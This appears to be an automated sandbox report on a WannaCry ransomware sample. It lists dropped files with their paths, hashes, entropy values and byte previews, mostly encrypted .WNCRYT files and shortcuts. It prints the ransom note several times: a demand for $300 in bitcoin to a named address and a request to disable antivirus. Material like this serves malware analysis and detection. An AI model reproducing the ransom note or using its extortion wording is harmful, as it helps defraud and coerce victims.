                                                                                                      SSDEEP:12288:elpRGr4gr/iPdQDSFSsKmrvR/V9rw7TYYN12Ot5gv4YhtDD:iRGZ/iP+DSIVW39rE5PtcN9
                                                                                                      MD5:745E2DD0F797003F36A230ED35F1276F
                                                                                                      SHA1:7381099FB465DBA46F8A61717D1C226242DCBA50
                                                                                                      SHA-256:31FF75D86A836FB77E0C69F02B81B7420785A8B89C99A7AFB3D241C4BCD09738
                                                                                                      SHA-512:126AA39D7942384A23BC6C65F26DBE8437E315542C974D6526F2C56DAF431579FE548A9FBBDA272123C9E6B1766DE05C9E87C1042BA602D8E40CAF8519AD3DA7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....NB>.V.......HO=L.k..YX.J......JV2...[.....6..=.._.\...K3.?.....s.u...l,.=\<.J.....x..H.j...<...0N.T....Pj.%0.6A...i.*.ew$.B..ry=.L.......%...w.<......d.r.Ol.LWVZ..5...K.IG......<.L.n-..$.hD.x.F.....&..dF._..7.<3M<.2.n...l.Z..N.J.f.....#\.....80........wm...!..@._Q...)2...>I.V..'n>A./..?......q....t..1i..q....n.U..:...<....JY..+..K._c......\.p.~:.$8S.Y.!..."...Z.P.Ze&......P"&..-....".....M...u......C..1.[W...=.......T..[j.EM.uU\.|.Z.~.:...}..-..=./I......o.Y#..+g....B.h.....B...c..G.z..=.yO.M .k.....).AQ.B....!.d....-!...~mw...}@...].$.C.uBF.:..z................;q......}.,3.\(D."...."|j....vi....Xfs..v..0.4...F.X....&.?.9...h.M..R......7n.H/|`..nv.}.Yv.%oL.v}....F\<l*....I;-..d_%.p.7.(.k..>1mW..\....9.J$.../{.&....)v~.A....>2W.oC...~.v...].d..1..=@.'l...].^....b.]..n..|.E$.A.t..^...9>"....X:Y.......$?.cW1P"..#d.....-.A..(...8.c..&.\[ A.Eh..rm.-..aG.}.....%.a......W. i....K..\7.;.th3P`...$S..$.8......Z...9...........

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\user.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6344
                                                                                                      Entropy (8bit):7.966684703986432
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:qPDhn22BaEW1y/6nMsNU6Ic+4fnvF5X/nC:S9RasEPg4H/nC
                                                                                                      MD5:FF0AD515E33B1FD088A96D41E9863BD0
                                                                                                      SHA1:C89665E0305E7A718A49B9227740B6A30962F973
                                                                                                      SHA-256:B89FD47954D05638B16D6F2E050225222B36E38C087F7A886B006E0DA93564BA
                                                                                                      SHA-512:873430D1DC42FBDA08E8199D8D9A95B0998ED3D917640FBDCEC9266172F964A9339752039200F0F38A683A7A7681E65C00248E59388AD4F7679D04573AC7D892
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....7..}...[.B0..7...N..).iO.n.2.^.....V..e.....=.M.-#6.. .........L...+......&.7xo.z^!3\G^.{......PA.r...H..M...+...........h......<.y....V...a.%U.O.e..X"6p....Op..l...Q.<.j.i...;XxN...{R8.....4"...%*.O....w..L...{...w.......+z..k.o...hg....z..............|.Z$....Y.>.N."Y..E.....!G:Q.3.+Gv..UHfT.... /.*....C.l.R....J.{.M.f.6q.3...l..@hI..]..-.$.v*..:..ake;.l2x...B\.b.L..Q....'...U.5p)........m.>n.m.]...oB.E!..~Z...6.p.fx....c.(..._...,7..9E-.U%e..].....t.'+...x.....V.....7.T..@ ...B..%...=.e;..Q.4.`.[..h.zb..(....Z.)a5.<.p.6I.HE...}.X./_.N>.....m.D..!6.>-..y.....b....4....w.~.{I..:...:..l... ./.u...nF}.9...'.5.0=.0..H....lW..z..!..~..x..f..jm..~Y....e..\...l..L,.8.9.Nh..;...3....y...!.-;@...jw.].a....}...F...y....@K...fVj.lp5...;+q0...&..q."....2...?.Jl?..ub.z.C.<X\.M..FC$..o.....$4..x..4.rP.p....A..=.]..n;[..a.GBIC{.n].y..9..1....*X:#.~.)....1?.f`..&2......[y...Ow.@.'...6..I...h)..:'.Z..j.2.....,.....!...{WGzq..8.z...V$.

                                                                                                      C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7000
                                                                                                      Entropy (8bit):7.973253954584865
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:L+Ns03MFkTtSZTmwiAS+L8qc8XV8B7JtVYeeLn9wH:y/3MFgtS5mwiA58qc8XVytwD92
                                                                                                      MD5:61448BC397BA4F393C4CF82E7D256E5E
                                                                                                      SHA1:40F162ACE0CB921F35C66C5D86702153362046E2
                                                                                                      SHA-256:AF1453D5E2262E23B37B49F21D7F2EF3C7F6122E69FD39F37147EFA7CBA11AAC
                                                                                                      SHA-512:BCF144DECCB427F7DE785DDC47296157049F7E98F2DF95DB5AD20F4187C70670076433CEC1F4F94F8B5C1214EADFB61A67EC8D2FDB462963D99F27252CC4F38E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....w.L......._.\.?/|..=..L...'..1+2.,z..KoX...X....w./7..;.p.._..9.c....f....hG..Ss.R.r...`.q_....;p.v..j....b...-....9...&.e.#.6. ..s9B.....l.._.......cN...f....6....H.CH..R..*f....p.&dA5x..c...w.7c....$\!..f....,y<....@...O.....t...HcB.W..[*.e..d....=...........C....lK=M.)9.#.j.=..^}.LJ%..zX.s.7.d.G..n._.8?.uN..../.i.<bx..&.....R...Z.~36.lnb...w.Q.,)....Fxy....h.=?....]....,."..,qs;...G.l..._..WG.#.....n:.O..P.4.z.%u..E...%./...!..4.|v..K.,m.j.A.X{%...B...|.q..,.7.`.....?n.&........P...<.:.uk..)...1..?.8.zH..D./.x.x.o...M...7.l..}.......3..T3.`:....E..U.....)..%....1.k..(.[.qG.(...e..J........I.r.Y...*b..Ms....cS...vMz.U.+......,.1!....eG...eaaIk....uO9.<.....r...e}<...m.u..4N:...mM.L..w....K.bw..t=..;*......&.ST5...6.:..T.[.......'U.i...4.9^..M..c...q...5.."5DF..s.:....;.p....M...........I.]......Q.oXA....j.^..,...,(I....[.3E0y._.m..r.G..".e.F.!>d......>3.....P.Axl./.G.C .bEl.....B...h...q....H."..-D...uWK..-&&.M....lF..W.....p.J{..

                                                                                                      C:\ProgramData\Microsoft\Windows Defender\Scans\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Windows Defender\Scans\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1670040
                                                                                                      Entropy (8bit):7.999892929470581
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:mVMiuC6KbEHIJV2PDkmfpeLlKxdOHBm+UKmV:mSA6Kb4IJV2rkac45+q
                                                                                                      MD5:AB764C40B21337AB5AFFAB04E723561B
                                                                                                      SHA1:7C6031FB04BD503A356ECB46781F6FC6C4C5298E
                                                                                                      SHA-256:7DD9DC2AA08812259CAB4C5578379EBFAD069EB128C85FC723F8B8EE4D4AEC13
                                                                                                      SHA-512:612A454E7AB7033D2678061B3F11E3FA9C28AD67E90CD4C6D52F5666ECE398C879E28C57777D87A32AAF50A55DE9B2C050792A05319A30BD1253EC0D55DFE39A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....&z4......F.....XTwO.:ag..|...6 /.x.=....V.....cho...n.g^!.5...C..*;H z..v...|.L.....Jj....lv...1k....#e:.qT^..ho...Z.j...8...B......sp......4. .%[".....vf9=j...F..9I4[..W.C../..QQ:JB..}...{.......W.~.#5...<L.B/Ibb.2.7=.%..D....X.g.....}.:.Q.......uz......aZ.....Q............q....iRL6|..NLb@8...o..U..?.....>5}.g..h|...h..1DA.D..g.O@..p...BhM]e.....M-?.JVs...X.o^B..Klf]{&.%....u.=^.3..m.F.. ...6.o*..u.#.}>....8{w..-.{{..e.]....|......H`..|.E"E....].y.....&U{....{E..+...Q.Zr....'....P.C.NK{..C$.bIH../.4.:!..kD...."...WxO..t.}.?.&o.K..D.uN.o..7.G.....G...+.].I?..By.......\\B..ly.......;$2...c.$M.."`...CJ.K8D...J:F.Kj.&.h,....Ze.:..1F/.h.\....H...#.'t..5Z.....X.....A9Ya..'k..J.'......3g|..k%..F.f.j]T.Q..%3.....A.tMJ..&.$&K&6.Y.....$..Y...+.M.!..@K.`W...lS..t...G....e.q.1%QR[._!!.Q.....L^V..@...=..W..mQG.=.......@;.7...}...".p..X.B.<.]....h..d.....0....=1s.....k.k.U_......dx5.......aN.Nk..3..RZS]|.f.+.7..|..R...g.A.s.XMT.....

                                                                                                      C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):553240
                                                                                                      Entropy (8bit):7.999661753363814
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:fOkPwnWNZQkbiEnvpeFn/ibfUDu+ipQ/k5aTIn:2jnWTntvpeF/8MZipusn
                                                                                                      MD5:DA683C5FF67E6443107DEC7B3EA944F2
                                                                                                      SHA1:94FE55AE0CF468AE797F69C785F24E1B441E2FDD
                                                                                                      SHA-256:DB5934484C1380EE631561E1F5F7E23A76D23317A9599800A56C3F86BB6F4A2C
                                                                                                      SHA-512:57CC656E13F3AAEE86B6AF79FE30ED3CF5231C4CC8D9CDED2E78980A2D1F243A0E32BEC57EB106F4F50929B70EF4C74948FD763D5BA0F6EE8CCA621C25693AD1
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v.2:+.`.e.sBq.:.U..k..Z...JS}x..=.m,.z1..v+..T3......0.........4)e.....@N%W}.B5.ao_.B../.:1..Vg:.I.*....3(..?......."@..4.QX.....Xw#.Z 6...q...~k.....;09z...-..@.5.....*JS}uT...!.....0...........]..B.ZDT)K..\.)2.82a..B....V.)..7.....SiB^.j............p......t..E._.Ba.3&"....,...CSqM.}..]p..9....:%...0...1p......C.U..F...b..NH.S.h.Uu.|D.)i..g..Rd.N..*.R.6.B.65......Oo..RV#me..nV.....e.3Q2.).....(i.J...h*c;..j.1.....F...(V.x..e..a=.n.W.E.....j...W....j.,H21W_...\gQ..$.D>.*SE...].....Rk.....}.#M.. ... ..X...;.8$.yZ.g.J.7J.{.3}........S.YiT.Z,D~....'K.6.?y......*9*...T0....h.hh..L...V....g.....k..Fa....$(.&.....?.\&.*.3T....QF+.Y.o..-.:R.ma."@2..lA.!....5..t/...C.i.`&.B...+....n.b......$N..V.C....R.GZ.F._....hBs...<.<_(M..*...z....'......%'.......Q.dS.L..N(.L...#.|.y...J...../.... j.$.}J.4.:D.5.BC..L...i........A.....jR.....x+.X....P.*..DT...~z...>.z....f...jI)L..%...~.K%_.t./#....S..Z...D..O.8....I\....f...E..U.3...o.`..W.....L.e..Te.....

                                                                                                      C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):89816
                                                                                                      Entropy (8bit):7.997868628267571
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:d4BFVtYCfPBN101o+HFHLeoOA8J010VJywCzwwJt82FfIVwTkZ+/xn9l2wFIP6:65YM01XHFHioOX/VRb2FA5Z+/x9l2wFZ
                                                                                                      MD5:25F4F8CCFA300D67508C24483152E6FB
                                                                                                      SHA1:319018DA93D002E1E61E9D371A540B248EF369E1
                                                                                                      SHA-256:21086B65AA1AFB2232050F4101C4A61DAC99320AFFAF076916077396CDB08371
                                                                                                      SHA-512:FE01FE7889F9538045FE4D9B519DCC5DBC381777AA2EC3B18A84AB2A1FAF66A95E69983AC0F8EDB513502035000E5D45FA8B953166AC96F3C0DBDCD6129C1E46
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........u..j....J..l.b.O .Y.a2.T.$.i.Uj......A?D. ....v.............."..5..?.4..>sd.Q.A...p.e.q.....j.... .y...xS64.\...>.O3..Z......>..."N;..z.......K.W...@...[.S(..v.?...I......Qk.."4$W.SE.. w.p..^! ..s._ [:q..D..ZL.H^6......;.....L.\.J..?D.-............].......gW&Q.~.v\..A..</.7.z..R.W...,.I....P.<NhX..F;V....M....~.#..^&....:..t=.......{.2P....D.g...Cm .E......e3..w.B.......S.....[\.d.;.$.*.l......;8...}^.@<.L%xk.@...c.....#..ro..@..Q0.A.Y.oEg....?.m..,..U.S>_..J..2m.dA.9.j..o.tkX.V".r..Ntv.Y]Y.ZrE.. 3.$'.0..........#....bp...K..{...(;.....,.b.(Z..9...B...%`...<.G....F.va.F..&b..H.M..4.3..=........].....3..i5. ...(.2..#0!.....w...P.....e.... h.#... .xP{x(E.......:.N_...G...u?2u.vA...tcK.1...si.Yj..8..2.2...;Gnr...Y..@h..@a..A+.;.Kc...jU...4......8}....w.=8.......nF.x.......*...[..~...J.nw..#..r....x.u/..}..M#.}.D.s...F*..G...I..KJw.C.sK.O....I.ySV.....rL.u..-M..R......q{|C(.%P.ZI...Tj....pnN.].H.z.Z[._.Q.S`.k.7....d.>...*a-"..

                                                                                                      C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):516712
                                                                                                      Entropy (8bit):7.999618635802682
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:1aNTaTdUN92HCpaYhllPR4YfL/kFQ0Pgamof67/qOnBl42Gv/zp9LrwPqQo+fW/A:1mFN02JAapaPy7/LBB6zT8POxA
                                                                                                      MD5:4DD7C63585508E024867AD5BD0429DF6
                                                                                                      SHA1:39BA8E1C0096BE79F374E8FF602D586EC43FE5CB
                                                                                                      SHA-256:9E5D0A0DEB1E8E3F359B70617493208107812837145F33D40F63FF875E2E028F
                                                                                                      SHA-512:839A9B3185C6EF24541430948BFF849CF98BC410DA4380EAB025E190641EC55DAF4E293983D089377DD4818B2BFF2451F5FB714F6504124B625EED98E2D84E64
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....k.|u.R........5....^....gl{.A.6.h.....,..9.h......V..}......&>...\.(.Fs...=........e.M\......r/WR.y..|q[C.w.?.cjp.Z....L.u.{.4j..L.-K.....3....o!.m.(.y...:..G..|.C...Y%L.!....E.2...-Dvd..@..6J..j`v..lj.......w.y...........{"...W.F.{)..$.g....H........u.C;.p...F..T.H..P...I.[>fR.6..=...C.RU]...x...=.BGI(.M......t.......sm..!..k.A./%....!.......(.s....-._..Z/..3L..B.'k..O..Mx..~.w.h...4$7@J.....k.._...wy.:"b7/` 9.......S.=........\GI..D..[...O..0.3U."g5[L.~<R...H...P.....9.%..lX..S.3...n...B....I<..[gx............9..:N^.Y...w9XU..pP...u....&.{.....y.c.Z..fa..........J...x...{..x;{Y....W...J.d=y..=.HE......R.......s(..#e. .....;.[KJ....'jM(........4....hQ.b.+E..r,.I}..C&g..k............L....NOy.?.,.[.9...2.e.@^'3.......-.J.J....q......03.#........S...4.y.i$.......>.2C......t.....L.Z.K.-S\1<.+[?.>#.7......%[S&..fg1.U..2.)W....-..1..zP.Dt(...V..........H(.<..5i.N{83..0..~7.......*T.h/.<..l}..........j.....].....;.8.......Lv

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988926268495666
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:4dzkz1m5QP40XB14YesP+L6rR5Pn9iUD89G:4FkGm4QB14n6r7nN89G
                                                                                                      MD5:3BC4A4DD12CF3DF3432C2A62171F7A88
                                                                                                      SHA1:5A2168385FAE1B2C74CB03DDF458FA1A557CF0F9
                                                                                                      SHA-256:BF9FA234AC825CDF2635FE64F9588418F846315D4BD9D36F7B7B40AE9B27F772
                                                                                                      SHA-512:9F39DF967616D4E1989CB767DAEA178646EBEF3604AF5939E641F550875AA96AB4FC9FCA4DE051CD827BD1ECA28860B24AEBEBF2B194F7C602CBB91FE3D34671
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........D......d..B.(..#i.!.....5o..(.M..[9..#...0|&..S].T2.."1...)@..F$..?1..z&.Z:.).f.5.Q#..g...c$Jc...k.l7.r.z......8.f&.Aq......g"....=\....&......RI.....3c.w..........,...)...... .zs........mrOOg.gg.i..w..-0{.-=...F`W...)....b.......i...C.......@...........qp..aR.Z.`.O,uWZp....c.\.....?.e..p.^.A..\_....Oq...@S....%./%......R..Rev..N..)...3T..[j.........+...7v..L.r.gF<1..s..74=.&.z.p...n...O...Wx....a.lP.gc.IH'.As.......x......K...-P...Z..7.]...=....@..:ys...wS=..c.s@..=..sO...N....KC.X5...Qz...{.a....?..MnA]...D.bD%.F.r.W.U.....#/.,Tw...p~.V@%K....X.,.u..{...w.c..d.m~]\a..T...I..F.,B..C.1s..a......<.&i...-r..^SP..Ga.......k.|.].e.x......E.8}...}......;....F.sw....Z...n.V.|.]....'.x.@P.J.F....d.v..."=g.;..(...].%qg.T...... .t#^.z.`.._.F.7..t...B.l.;+6I..E......q......%...r..-g...n.].0@.<..W|_..H.@.WEK{H..&V^...K...O.|7o..M...Z......E.A6...... 9M';.}...4.sYbgu.N.]..TBi_...OB.......L.C...!6G.}..z...f.7.o...[.W.+.m.n...

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.864822841288095
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkA0SxCatc1IhGvyaFqxujpyj/te2uVpXbGephxrg8k0zPh+FCjdN4PPWceoHqc+:bkA0+PYKGvhAEyj1e2uVp1pTrg8k0FZB
                                                                                                      MD5:F86119AC7B492770CBDA6D512B3E40BB
